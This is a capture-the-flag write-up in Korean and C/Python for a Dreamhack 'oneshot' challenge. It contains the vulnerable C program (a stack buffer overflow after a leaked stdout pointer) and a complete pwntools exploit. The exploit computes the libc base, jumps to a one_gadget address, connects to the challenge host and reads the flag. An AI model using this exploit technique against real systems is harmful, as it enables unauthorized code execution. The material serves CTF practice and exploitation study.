// gcc -o oneshot1 oneshot1.c -fno-stack-protector -fPIC -pie
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(60);
}
int main(int argc, char *argv[]) {
char msg[16];
size_t check = 0;
initialize();
printf("stdout: %p\n", stdout);
printf("MSG: ");
read(0, msg, 46);
if(check > 0) {
exit(0);
}
printf("MSG: %s\n", msg);
memset(msg, 0, sizeof(msg));
return 0;
}
환경 분석
취약점 식별
공격 설계 및 핵심 전략
최종 익스플로잇
from pwn import *
# 1. 환경 설정
#p = process('./oneshot') # 바이너리 파일명에 맞게 수정
p = remote('host8.dreamhack.games',8789)
libc = ELF('./libc.so.6')
# 2. stdout 주소 Leak
p.recvuntil(b"stdout: ")
leak_stdout = int(p.recvline().strip(), 16)
# 3. 주소 계산
libc_base = leak_stdout - libc.symbols['_IO_2_1_stdout_']
# 찾으신 가젯 중 첫 번째 선택
one_gadget_addr = libc_base + 0x45216
log.info(f"Libc Base: {hex(libc_base)}")
log.info(f"One Gadget: {hex(one_gadget_addr)}")
# 4. 페이로드 구성 (총 46바이트)
# local_28(24) + local_10(8) + SFP(8) + RET(6)
payload = b"A" * 24 # Buffer
payload += p64(0) # local_10을 0으로 만들어 exit() 우회
payload += b"B" * 8 # SFP
payload += p64(one_gadget_addr)[:6] # RET (하위 6바이트만 전송)
# 5. 공격 전송
p.sendafter(b"MSG: ", payload)
p.sendline(b"cat flag")
# 6. 상호작용
p.interactive()